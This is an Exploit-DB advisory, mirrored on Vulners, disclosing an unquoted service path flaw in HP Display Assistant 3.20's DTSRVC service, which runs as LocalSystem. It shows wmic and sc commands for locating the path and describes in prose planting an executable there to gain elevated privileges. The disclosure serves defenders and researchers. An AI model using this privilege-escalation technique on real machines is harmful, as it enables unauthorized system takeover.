Lucene search
K

HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path

🗓️ 09 Nov 2020 00:00:00Reported by Julio AviñaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 446 Views

HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path, Exploit by Julio Aviña, Windows 10 Pro, Vulnerability Type: Unquoted Service Pat

Code
# Exploit Title: HP Display Assistant x64 Edition 3.20 - 'DTSRVC' Unquoted Service Path
# Date: 2020-11-08
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.portrait.com/
# Software Link: https://www.portrait.com/dtune/hwp/enu/
# Software Version: 3.20
# File Version: 1.0.0.1
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%DTSRVC%"' get name, displayname, pathname, startmode, startname

DisplayName                             Name    PathName                                                                 StartMode  StartName
Portrait Displays Display Tune Service  DTSRVC  C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "DTSRVC"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: DTSRVC
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Common Files\Portrait Displays\Shared\dtsrvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Portrait Displays Display Tune Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation